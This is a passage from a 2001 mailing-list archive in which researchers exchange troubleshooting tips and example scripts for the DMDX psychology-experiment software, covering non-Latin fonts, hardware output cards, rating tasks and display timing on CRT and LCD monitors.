an inconvenience or you are already using an older version (say 97 or earlier) send me the file at jforster@u.arizona.edu along with the particular font it's using (it will be in windows\\fonts) and I'll see if I can determine the million and oneth different way Word has chosen represent characters. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ If A = B and B = C, then A = C, except where void or prohibited by law. - Roy Santoro >From DMDX-owner@psy1.psych.arizona.edu Wed Oct 3 19:18:37 2001 Received: from smtp1-gw.tp1rc.edu.tw (smtp1-gw.tp1rc.edu.tw [163.28.16.23]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id TAA20403 for ; Wed, 3 Oct 2001 19:18:26 -0700 Received: from ccms.ntu.edu.tw (ccms.ntu.edu.tw [140.112.2.3]) by smtp1-gw.tp1rc.edu.tw (8.9.3/8.9.3) with ESMTP id KAA92453 for ; Thu, 4 Oct 2001 10:14:08 +0800 (CST) (envelope-from hue@ccms.ntu.edu.tw) Received: from psy20 (psy20.psy.ntu.edu.tw [140.112.62.20]) by ccms.ntu.edu.tw (8.11.6/8.9.3) with SMTP id f942EHD01053 for ; Thu, 4 Oct 2001 10:14:17 +0800 (CST) From: ""psyh"" To: Subject: [DMDX] =?iso-8859-1?Q?=A6^=C2=D0:_=5BDMDX=5D_Re:_Chinese_with_Eng._Win98=3F?= Date: Wed, 3 Oct 2001 15:16:59 +0800 Message-ID: <000901c14bdb$64b9be20$143e708c@psy20> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" In-Reply-To: <000d01c14c67$66d71a40$215dc480@cog.arizona.edu> Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi Matthew, I have no problem using DMDX to present Chinese. However, I did a number of things before I run my programs. (1) Check my computer using TimeDX to find out what the characters are used in it to represent the ""keyboard"". (2) In the control line of the DMDX program, key in the word ""keyboard"" (in ) in ""Chinese"". (3) In the program lines, ""mapping response"" (mr) should be added whenever keyboard responses are needed. See the following example. 0 ""Press Space........ Good luck with your experiment. Chih-Wei ---------------------------------------------- Chih-Wei Hue, Ph.D. Professor Department of Psychology National Taiwan University Taipei, Taiwan 10764 > How does DMDX not run the file? Any error messages? > right, sorry, should have been more specific. it reports ""unknown RTF control"". When I use the option to ignore these, it replaces my Kanji characters with question marks in the display, and, quite surprisingly, it appears to be replacing the characters with question marks in the .rtf item file itself. Matthew >From DMDX-owner@psy1.psych.arizona.edu Thu Oct 4 06:56:04 2001 Received: from groupwise1.duc.auburn.edu (groupwise1.duc.auburn.edu [131.204.2.92]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id GAA21698 for ; Thu, 4 Oct 2001 06:55:47 -0700 Received: from Auburn-MTA by groupwise1.duc.auburn.edu with Novell_GroupWise; Thu, 04 Oct 2001 08:55:43 -0500 Message-Id: Date: Thu, 04 Oct 2001 08:55:40 -0500 From: ""Nan Jiang"" To: Subject: [DMDX] Re: Chinese with Eng. Win98? Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list If it is Kenji you are using, then you need to download the Japanese viewer on the same site. I haven't used any Japanese materials, and don't know if njwin would work. --Nan Jiang >>> msf@u.arizona.edu 10/03 5:58 PM >>> Hello! Thanks for the link. I gave it a shot and it got DMDX to run the item file, but, unfortunately, when DMDX runs it replaces all my characters (Kanji) with question marks and saves it to the item file! Ughh. Don't know how to get around this one. Take care. Any suggestions much appreciated! Matthew ----- Original Message ----- From: ""Nan Jiang"" To: ; Sent: Wednesday, October 03, 2001 12:42 PM Subject: [DMDX] Re: Chinese with Eng. Win98? > Hi Matthew, > Try and install a Chinese viewer program such as njwin (available > for free trial at http://www.njstar.com). Run the program before you > start DMDX (you should see the Chinese character ""nan"" at the bottom > when njwin is open). Let me know if you have any problem. I also > described all the procedures in an Email message to Ken a long time > ago. > > Best, > > > > *************************************************** > Nan Jiang, Ph.D. > Assistant Professor > Department of English > Auburn University > Auburn, AL 36849 > (334) 844-9070 > jiangna@auburn.edu > http://www.auburn.edu/~jiangna > *************************************************** > > >>> msf@u.arizona.edu 10/03 2:20 PM >>> > I seem to remember someone asking about using Chinese characters with > an > English version of Win98 on DMDX, but can't find it in the archive. Is > this > possible? I can display characters fine in .rtf files, but DMDX won't > run > the files. Is there a quick way around this? Or am I making .gif > files for > the next couple of days? > > Matthew > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== >From DMDX-owner@psy1.psych.arizona.edu Thu Oct 4 12:23:32 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id MAA22517 for ; Thu, 4 Oct 2001 12:23:02 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (5.1.056) id 3BB9B89A0004BB65 for DMDX@psy1.psych.arizona.edu; Thu, 4 Oct 2001 12:23:01 -0700 Message-Id: <5.1.0.14.2.20011004121202.009e3ec0@psy1.psych.arizona.edu> Date: Thu, 04 Oct 2001 12:23:01 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] tilde Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I realized shortly after deciding to use the tilde as a CR indicting that the display of an item should be skipped that tilde was the macro expansion character -- oops. My examples work because there are no macros being used and macro expansion code upon finding a tilde without a known macro character simply leave the tilde in the item. Even if macros were being used they would have to have macros 0 to 9, macros A..Z and others would be fine. To fix it I started considering other possible characters however there are no other characters available for a CR indicator that don't already have uses elsewhere or that were otherwise unacceptable. While characters with other uses would parse correctly they would probably be as confusing as having tilde do two things so after much consideration I'm going to leave things as they stand. Which simply means that should you be using macros 0..9 and also be wanting to use tilde for a item you have two choices. The first is to simply put a space between the tilde and the first character of the item number, the second to use the keyword instead of the tilde. For example: ~ 1 ; 1 ; -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ It is easier to get forgiveness than permission. >From DMDX-owner@psy1.psych.arizona.edu Thu Oct 4 12:37:19 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id MAA22605 for ; Thu, 4 Oct 2001 12:37:11 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (5.1.056) id 3BB9B89A0004C266 for DMDX@psy1.psych.arizona.edu; Thu, 4 Oct 2001 12:37:10 -0700 Message-Id: <5.1.0.14.2.20011004123521.009e86c0@psy1.psych.arizona.edu> Date: Thu, 04 Oct 2001 12:37:11 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Concatenate 1.02 Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Two small fixes to Concatenate are in the DMDXUTILS zip, column numbers larger than is in .DAS file is now dealt with and a missing subject columns specification is also handled. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ It is easier to get forgiveness than permission. >From DMDX-owner@psy1.psych.arizona.edu Thu Oct 4 13:24:58 2001 Received: from expert.cc.purdue.edu (jkleinow@expert.cc.purdue.edu [128.210.10.11]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id NAA22738 for ; Thu, 4 Oct 2001 13:24:42 -0700 Received: from localhost (jkleinow@localhost) by expert.cc.purdue.edu (8.8.8/8.8.8) with SMTP id PAA21347 for ; Thu, 4 Oct 2001 15:24:15 -0500 (EST) Date: Thu, 4 Oct 2001 15:24:14 -0500 (EST) From: Jennifer Kleinow To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] pio12 Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Wondering if anyone can help out a DMDX newbie... I've had a Keithley PIO12 installed to send a 5V output signal to a data aquisition unit at the onset of trials. I'm trying to test it, and currently have it output to a scope. I'm running a test script I've borrowed off the listserv, which includes 0 ""Start of experiment""; just to see if anything is happening. Though DMDX runs through the script without errors (and everything else seems to be working perfectly), I'm not seeing any change in voltage on the scope. Any ideas how to problem solve this? >From DMDX-owner@psy1.psych.arizona.edu Thu Oct 4 14:23:41 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id OAA22906 for ; Thu, 4 Oct 2001 14:23:34 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (5.1.056) id 3BB9B89A0004FDF2 for DMDX@psy1.psych.arizona.edu; Thu, 4 Oct 2001 14:23:33 -0700 Message-Id: <5.1.0.14.2.20011004142131.009eaec0@psy1.psych.arizona.edu> Date: Thu, 04 Oct 2001 14:23:34 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: pio12 In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 03:24 PM 10/4/01 -0500, you wrote: >Wondering if anyone can help out a DMDX newbie... > >I've had a Keithley PIO12 installed to send a 5V output signal to a data >aquisition unit at the onset of trials. I'm trying to test it, and >currently have it output to a scope. I'm running a test script I've >borrowed off the listserv, which includes >0 ""Start of experiment""; >just to see if anything is happening. Though DMDX runs through the script >without errors (and everything else seems to be working perfectly), I'm >not seeing any change in voltage on the scope. > >Any ideas how to problem solve this? Use TimeDX's PIO test. Set it's base address to the address the card is using or change the card's base address to 310 instead of the default 300. Don't forget to save that address. Toggle output bits in TimeDX till you see them change on the scope, then try DMDX. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ It is easier to get forgiveness than permission. >From DMDX-owner@psy1.psych.arizona.edu Fri Oct 5 16:48:09 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id QAA26015 for ; Fri, 5 Oct 2001 16:47:03 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (5.1.056) id 3BBA1C0C000641ED for DMDX@psy1.psych.arizona.edu; Fri, 5 Oct 2001 16:47:02 -0700 Message-Id: <5.1.0.14.2.20011005163200.009ec020@psy1.psych.arizona.edu> Date: Fri, 05 Oct 2001 16:47:02 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] on rating gathering (and the coincident DMDX 2.5.01) Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Somebody wanted feedback on a rating based experiment here so I came up with a couple of methods to do it. One of them doesn't involve using and and the other does. While developing the second I noticed that 's tendency to report No Responses regardless of whether the item even has a clockon in it was get a little grating so we have DMDX 2.5.01 where only reports if there is a clockon in the item. The first rating solution is to use the standard response gathering mode but to bind all rating keys to the positive response and then branch (call actually) on the keystroke generating additional output by emitting a counters value and also providing feedback based on the particular branch taken: F10 0 ""Rating Example"" mC##; 100 ""No Response."" ; 101 d2 ""1"" ; 102 d2 ""2"" ; 103 d2 ""3"" ; 104 d2 ""4"" ; 105 d2 ""5"" ; 106 d2 ""6"" ; 107 d2 ""7"" ; 108 d2 ""8"" ; 109 d2 ""9"" ; 110 d2 ""10"" ; +1000 * ""target"" ~c c; +1000 * ""target"" ~c c; 0 ""end"" l; The second solution was to use the method of doing away with the counter shenanigans but instead requiring me to change DMDX to prevent from making excessive No Response output: F10 0 ""Rating Example"" mC##; 100 ""No Response."" ; 101 d2 ""1"" ; 102 d2 ""2"" ; 103 d2 ""3"" ; 104 d2 ""4"" ; 105 d2 ""5"" ; 106 d2 ""6"" ; 107 d2 ""7"" ; 108 d2 ""8"" ; 109 d2 ""9"" ; 110 d2 ""10"" ; +1000 * ""target"" ~c c; +1000 * ""target"" ~c c; 0 ""end"" l; -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ It is easier to get forgiveness than permission. >From DMDX-owner@psy1.psych.arizona.edu Mon Oct 8 07:24:07 2001 Received: from URANUS.forenap.asso.fr ([212.103.26.242]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id HAA32440 for ; Mon, 8 Oct 2001 07:23:09 -0700 Received: from forenap.asso.fr (YODA [193.107.110.108]) by URANUS.forenap.asso.fr (8.6.12/8.6.12) with ESMTP id OAA26656 for ; Mon, 8 Oct 2001 14:21:46 GMT Message-ID: <3BC18E85.62971E6C@forenap.asso.fr> Date: Mon, 08 Oct 2001 13:31:17 +0200 From: Jean-Francois Nedelec MIME-Version: 1.0 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Presentation_Timing Content-Type: multipart/mixed; boundary=""------------E4DB65B091D9AC7B5D1C1889"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list This is a multi-part message in MIME format. --------------E4DB65B091D9AC7B5D1C1889 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hello every body My purpose is to present a letter for 250ms, every500ms. Each time the subject see an X he should answer. The script is like this 250 d10 ""A"" 250 d16 ""black"" 250 d32 ""B"" 250 d16 ""black"" +001 d32 * 250 d16 ""black"" ....and so on My point is that * seems to add an extra delay depending on the reaction time. if a set it is far too long. Thus my question to anyone is how can I make the time corresponding to 250 d32 ""B"" 250 d16 ""black"" equal to the time corresponding to +001 d32 * 250 d16 ""black"" and this in an independent way of the subject's reaction time. Does anyone has any idea ??? I appreciate the help Cheers, Jean-Francois --------------E4DB65B091D9AC7B5D1C1889 Content-Type: text/x-vcard; charset=us-ascii; name=""jnedelec.vcf"" Content-Transfer-Encoding: 7bit Content-Description: Card for Jean-Francois Nedelec Content-Disposition: attachment; filename=""jnedelec.vcf"" begin:vcard n:Nedelec;Jean-Francois J. tel;fax:33.(0)3.89.78.51.24 tel;work:33.(0)3.89.78.70.18 / 71.65 / 71.70 x-mozilla-html:FALSE org:Forenap;MR Centre version:2.1 email;internet:jnedelec@forenap.asso.fr title:Ph.D. adr;quoted-printable:;;Hospital Center=0D=0A27, rue 4eme R.S.M.;ROUFFACH;;68250;France x-mozilla-cpt:;12896 fn:Jean-Francois J. Nedelec end:vcard --------------E4DB65B091D9AC7B5D1C1889-- >From DMDX-owner@psy1.psych.arizona.edu Mon Oct 8 08:05:06 2001 Received: from smtp.gu.se (smtp.gu.se [130.241.150.66]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id IAA32597 for ; Mon, 8 Oct 2001 08:04:57 -0700 Received: from mango (psyk21.ss.med.gu.se [130.241.85.176]) by smtp.gu.se (8.10.2/8.10.2) with SMTP id f98F4tp08515 for ; Mon, 8 Oct 2001 17:04:55 +0200 From: ""Derek N. Eder"" To: ""DMDX"" Subject: [DMDX] Timing issues on LCD/TFT monitors? Date: Mon, 8 Oct 2001 17:04:10 +0200 Message-ID: MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_0012_01C1501B.3F699E30"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list This is a multi-part message in MIME format. ------=_NextPart_000_0012_01C1501B.3F699E30 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 8bit I have the vague understanding that the accuracy and precision of DMDX stimulus presentations and response timing measurements dependant on the Video display vertical scan rate - a 'tick'. So, a video adapter + monitor operating at a 40 Hz refresh rate is less desirable in terms of DMDX timing than 110 Hz? Am I correct? A related question is how DMDX functions with the 'new' flat-screen TFT/LCD monitors? My even more vague impression is that these are not 'scanned', but rather addressed. Do these present different operating charateristics to a program like DMDX? Thank you, Derek **************************************************************************** ********* ""ADOLF HITLER: In 1918, blinded by a poisonous gas attack in the war, Hitler was admitted to a military hospital where he was hypnotized by psychiatrist Edmund Forster. Forster put Hitler in a trance and implanted him with the belief that his beloved Germany needed him to recover his sight in order to serve the cause of national resurrection."" ""AYMAN AL-ZAWAHIRI: Osama Bin Laden's chief advisor and doctor is a former psychiatrist and surgeon, convicted of terrorism in Egypt and sentenced to death in absentia. Al-Zawahiri studied behavior, psychology and pharmacology as part of his medical degree at Cairo University."" http://www.psychassault.org/manufacture1.html (Brought to you by your friends at Scientology) **************************************************************************** ********* Derek N. Eder G�teborgs Universitet Institutionen f�r klinisk neurovetenskap - psykiatri Sahlgrenska universitetssjukhuset SS/SU Bl� straket 17b SE 413 45 G�teborg Sverige Tlf. +46 (031) 34 26 139 Fax. +46 (031) 34 21 533 derek.eder@neuro.gu.se Gothenburg University Institute of Clinical Neuroscience, Section for Psychiatry Salhgrenska Hospital SU/SS SE 413 45 G�teborg Sweden ------=_NextPart_000_0012_01C1501B.3F699E30 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable I have = the vague=20 understanding that the accuracy and precision of DMDX stimulus=20 presentations and response timing measurements dependant on the = Video=20 display vertical scan rate - a 'tick'.  So, a video adapter + = monitor=20 operating at a 40 Hz refresh rate is less desirable in = terms of=20 DMDX timing than 110 Hz?  Am I correct?   A = related question=20 is how DMDX functions with the 'new' flat-screen TFT/LCD monitors?  = My even=20 more vague impression is that these are not 'scanned', but rather=20 addressed.  Do these present different operating charateristics to = a=20 program like DMDX?   Thank=20 you,   Derek   **********************************************= *************************************** ""ADOLF HITLER: In 1918, blinded by a = poisonous gas=20 attack in the war, Hitler was admitted to a military hospital = where he=20 was hypnotized by psychiatrist Edmund Forster. Forster put = Hitler in a=20 trance and implanted him with the belief that his beloved Germany needed him to recover = his sight=20 in order to serve the cause of national resurrection.""=20   ""AYMAN AL-ZAWAHIRI: Osama Bin Laden's = chief=20 advisor and doctor is a former psychiatrist and surgeon, = convicted of=20 terrorism in Egypt and sentenced to death in absentia. = Al-Zawahiri=20 studied behavior, psychology and pharmacology as part of = his medical=20 degree at Cairo University.""  http://www.psychas= sault.org/manufacture1.html <= /DIV> (Brought to you by your friends at = Scientology)=20 **********************************************= ***************************************   Derek N. EderG=F6teborgs = UniversitetInstitutionen=20 f=F6r klinisk neurovetenskap - psykiatriSahlgrenska = universitetssjukhuset=20 SS/SUBl=E5 straket 17bSE 413 45  = G=F6teborgSverigeTlf. +46=20 (031) 34 26 139Fax. +46 (031) 34 21=20 533 derek.eder@neuro.gu.seGothenburg=20 UniversityInstitute of Clinical Neuroscience,Section for=20 PsychiatrySalhgrenska Hospital  SU/SSSE 413 45 =20 G=F6teborgSweden    ------=_NextPart_000_0012_01C1501B.3F699E30-- >From DMDX-owner@psy1.psych.arizona.edu Mon Oct 8 08:43:33 2001 Received: from mailhost.mrc-cbu.cam.ac.uk (sirius.mrc-cbu.cam.ac.uk [192.153.213.178]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id IAA32715 for ; Mon, 8 Oct 2001 08:43:14 -0700 Received: from pc057.mrc-cbu.cam.ac.uk by mailhost.mrc-cbu.cam.ac.uk with Sendmail (8.9.3/V3080601); Mon, 8 Oct 2001 16:43:07 +0100 (BST) Message-Id: <5.1.0.14.2.20011008163626.021bdec0@pophost.mrc-cbu.cam.ac.uk> Date: Mon, 08 Oct 2001 16:47:10 +0100 To: DMDX@psy1.psych.arizona.edu From: Mike Ford Subject: [DMDX] Re: Timing issues on LCD/TFT monitors? In-Reply-To: Mime-Version: 1.0 Content-Type: multipart/alternative; boundary=""=====================_23056062==_.ALT"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list --=====================_23056062==_.ALT Content-Type: text/plain; charset=""us-ascii""; format=flowed > >A related question is how DMDX functions with the 'new' flat-screen >TFT/LCD monitors? My even more vague impression is that these are not >'scanned', but rather addressed. Do these present different operating >charateristics to a program like DMDX? Yes. You have, for lack of the correct technical term, a rise time. That is, although, DMDX is accurate in starting the presentation, it takes a certain amount of time for the LCDs to get to full luminance (around 8-10 ms if I recall correctly). Also at offset of presentation it takes time for the LCDs to fade, although we found that the fading out was faster than the fading in. I have the relevent times somewhere for our Dell laptops, I can look these out if you like. What it may mean is that although you have set the display for, say 50ms, an item may only be fully visible for say 40-45ms and this will be shifted about 8-10 ms downstream. - Mike oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo *** Note New Extension - 311 *** Mike Ford MRC Cognition & Brain Sciences Unit 15 Chaucer Rd, Cambridge, CB1 2NQ, UK. Tel: +44 (0)1223 355294 ext 311 Fax: +44 (0)1223 359062 http://www.mrc-cbu.cam.ac.uk/personal/mike.ford oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo --=====================_23056062==_.ALT Content-Type: text/html; charset=""us-ascii""   A related question is how DMDX functions with the 'new' flat-screen TFT/LCD monitors?  My even more vague impression is that these are not 'scanned', but rather addressed.  Do these present different operating charateristics to a program like DMDX? Yes.  You have, for lack of the correct technical term, a rise time.  That is, although, DMDX is accurate in starting the presentation, it takes a certain amount of time for the LCDs to get to full luminance (around 8-10 ms if I recall correctly).  Also at offset of presentation it takes time for the LCDs to fade, although we found that the fading out was faster than the fading in.  I have the relevent times somewhere for our Dell laptops, I can look these out if you like.  What it may mean is that although you have set the display for, say 50ms, an item may only be fully visible for say 40-45ms and this will be shifted about 8-10 ms downstream. - Mike oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo *** Note New Extension - 311 *** Mike Ford      MRC Cognition & Brain Sciences Unit 15 Chaucer Rd, Cambridge, CB1 2NQ, UK. Tel:   +44 (0)1223 355294 ext 311     Fax:   +44 (0)1223 359062 http://www.mrc-cbu.cam.ac.uk/personal/mike.ford oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo --=====================_23056062==_.ALT-- >From DMDX-owner@psy1.psych.arizona.edu Mon Oct 8 09:03:39 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id JAA00071 for ; Mon, 8 Oct 2001 09:03:27 -0700 Received: (qmail 13177 invoked from network); 8 Oct 2001 16:03:24 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.16) by breaker.dakotacom.net with SMTP; 8 Oct 2001 16:03:24 -0000 Message-Id: <5.1.0.14.2.20011008090256.009f2230@psy1.psych.arizona.edu> Date: Mon, 08 Oct 2001 09:04:25 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Presentation_Timing In-Reply-To: <3BC18E85.62971E6C@forenap.asso.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 01:31 PM 10/8/01 +0200, you wrote: >Hello every body > >My purpose is to present a letter for 250ms, every500ms. >Each time the subject see an X he should answer. >The script is like this > >250 d10 ""A"" >250 d16 ""black"" >250 d32 ""B"" >250 d16 ""black"" >+001 d32 * >250 d16 ""black"" >....and so on >My point is that * seems to add an extra delay >depending on the reaction time. > >if a set it is far too long. > >Thus my question to anyone is >how can I make the time corresponding to >250 d32 ""B"" >250 d16 ""black"" >equal to the time corresponding to >+001 d32 * >250 d16 ""black"" >and this in an independent way >of the subject's reaction time. > >Does anyone has any idea ??? >I appreciate the help I belive I cove this in the Timing Notes: Gathering RTs is more complicated. You have to ensure that the display determines the duration of the item, you must set the timeout lower than the item display duration. While theoretically you could leave the feedback enabled as it should have a constant display interval I don't think it's ever been put to the acid test and who knows what you'd have to do with the delay value: d10 f29 t490 0 ""start""; 1 * ""first""/!; 2 * ""second""/!; 3 * ""third""/!; 0 ""stopped"" l; Here f29 actually does something. It will be gathering responses for a tad less than half a second followed by 11 ticks of time to assemble the next item during which the display will not have changed. Lastly, gathering RTs and displaying bitmaps requires sectioning each item into two distinct portions, an active part where an RT is gathered and a passive part that is loading the next bitmap: d59 f120 t1990 0 ""start""; 1 * g ""first""/!; 2 * g ""second""/!; 3 * g ""third""/!; 0 ""stopped"" l; Here we still have a three second per item display, the first two seconds of which can have a response made and the last second is buffering time to load the next bitmap while the display still shows the previous bitmap. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There are no secrets better kept than those secrets that everybody guesses. - George Bernard Shaw (1856-1950) Mrs. Warren's Profession, 1983 >From DMDX-owner@psy1.psych.arizona.edu Mon Oct 8 09:12:07 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id JAA00136 for ; Mon, 8 Oct 2001 09:11:58 -0700 Received: (qmail 19069 invoked from network); 8 Oct 2001 16:11:53 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.16) by breaker.dakotacom.net with SMTP; 8 Oct 2001 16:11:53 -0000 Message-Id: <5.1.0.14.2.20011008090900.009f2ec0@psy1.psych.arizona.edu> Date: Mon, 08 Oct 2001 09:12:53 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Timing issues on LCD/TFT monitors? In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 05:04 PM 10/8/01 +0200, you wrote: >I have the vague understanding that the accuracy and precision of DMDX >stimulus presentations and response timing measurements dependant on the >Video display vertical scan rate - a 'tick'. So, a video adapter + >monitor operating at a 40 Hz refresh rate is less desirable in terms of >DMDX timing than 110 Hz? Am I correct? Yep. Unless of course the display duration you want happens to be an exact multiple of the lower refresh rate... > A related question is how DMDX functions with the 'new' flat-screen > TFT/LCD monitors? My even more vague impression is that these are not > 'scanned', but rather addressed. Do these present different operating > charateristics to a program like DMDX? The silicon driving those TFT monitors still behaves as if they had a refresh rate. Usually a 60Hz refresh. Mike's latency concerns are still an issue though. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There are no secrets better kept than those secrets that everybody guesses. - George Bernard Shaw (1856-1950) Mrs. Warren's Profession, 1983 >From DMDX-owner@psy1.psych.arizona.edu Mon Oct 8 15:09:32 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id PAA00959 for ; Mon, 8 Oct 2001 15:09:20 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (5.1.056) id 3BBF78900002359C for DMDX@psy1.psych.arizona.edu; Mon, 8 Oct 2001 15:09:19 -0700 Message-Id: <5.1.0.14.2.20011008150555.009eb2a0@psy1.psych.arizona.edu> Date: Mon, 08 Oct 2001 15:09:19 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] last word on ratings Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I'll be adding the two previous examples to the documentation but until then here's the last rating example that provides feedback and allows the subject to change their mind: F10 d-2 t4000 0 ""Rating Example with"", @1""Change of Rating allowed"" mc# # mr# #; 100 ""No Response."" ; +101 ""1"" * ~r c; +102 ""2"" * ~r c; +103 ""3"" * ~r c; +104 ""4"" * ~r c; +105 ""5"" * ~r c; +106 ""6"" * ~r c; +107 ""7"" * ~r c; +108 ""8"" * ~r c; +109 ""9"" * ~r c; +110 ""0"" * ~r c; ~111 ; 112 ; +1001 * ""target"" ~c c; +1002 * ""target"" ~c c; 0 ""end"" l; -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ It is easier to get forgiveness than permission. >From DMDX-owner@psy1.psych.arizona.edu Thu Oct 11 15:07:48 2001 Received: from hotmail.com (oe50.law11.hotmail.com [64.4.16.22]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id PAA09598 for ; Thu, 11 Oct 2001 15:06:55 -0700 Received: from mail pickup service 